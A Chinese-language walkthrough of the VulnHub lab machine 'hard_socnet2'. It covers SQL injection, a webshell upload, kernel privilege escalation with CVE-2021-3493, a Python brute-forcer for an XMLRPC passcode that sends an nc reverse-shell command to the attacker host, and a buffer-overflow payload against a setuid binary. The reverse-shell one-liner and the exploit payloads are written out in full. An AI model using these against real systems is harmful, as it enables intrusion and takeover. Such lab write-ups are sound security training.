Author: yifang

靶机详情

难度:高
Tips 涉及知识:
主机发现 端口扫描 SQL注入 文件上传 蚁剑上线 CVE-2021-3493 XMLRPC 逆向工程 动态调试 缓冲区溢出 漏洞利用代码编写

靶机下载地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
攻击方法有2种,CVE-2021-3493 另类提权方式
攻击主机:kali Linux 2021 192.168.0.103
目标主机: Ubuntu 18

攻击开始

1
nmap -p- -sV -sC 192.168.0.102

nmap

目标主机打开了22,80,8000端口

经过测试,80页面允许正常访问,8000端口不允许任何HTTP连接方式,猜测可能存在另类服务。

访问80页面发现存在当前页面,

80

二话不说直接进行sqlmap跑一波sql

前端存在SQL漏洞,获得admin账户进行登录,使用更改头像功能,上一句话木马,eval

蚁剑测试连接成功!antsword

可以看到获得的权限为www-data权限,尝试进行提权

1
2
3
4
5
6
(www-data:/var/www/html/data/images/profiles) $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic

发现目标为Ubuntu 18.04 LTS版本

尝试使用最新的EXP CVE-2021-9493(蚁剑的shell无法提权shell需要转nc shell)

ncshell

上传exp文件运行,getshell,id查看自己的身份为root 打靶结束cvegetshell


不会以为就这样就结束了吧!!!

该靶机可是高难度的靶机!!!能如此轻松的解决这个靶机根本原因也是因为——该靶机为2020年的靶机,而刚才的打靶过程中,可是用到了2021年的CVE,也就是说我在用前朝的剑斩本朝的君!

正常操作

回到www-data权限下,尝试正常的得到shell权限,首先发现/home/socnet/monitor.py文件,打开文件查看一波!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

可以看到使用了xmlRPC库,百度大法,找到一个xmlRPC的一个客户端,然后大致的修改一下,对secure_cmd函数进行爆破,尝试提权为socnet用户权限

1
2
3
4
5
6
import xmlrpc.client
import random
while True:
word = random.randint(1000,9999)
with xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy:
res = str(proxy.secure_cmd('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 6666 >/tmp/f',word))

脸黑的话?可能要多等一会了

xmlrpc

我是脸黑,等了半小时 (风中凌乱.jpg)

1
python -c 'import pty; pty.spawn("/bin/bash")'

python 获得pty 对ncshell进行升级

发现存在一个add_record文件

在目标主机上,使用gdb进行动态调试,发现在Explain参数里面存在内存溢出gdb

重点关注EIP寄存器被溢出了大量的’1111’

精确找到’1111’的具体位置(使用二分法判断)eip

得出偏移量为62

对汇编代码进行分析,发现存在vuln函数和backdoor函数,尝试溢出backdoor的起始内存

1
python -c "import struct; print('a\n1\n1\n1\n1'+ 'A'*61 +struct.pack('I',0x08048676))" > payload

生成payload

1
cat payload - | ./add_record

getshell

XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way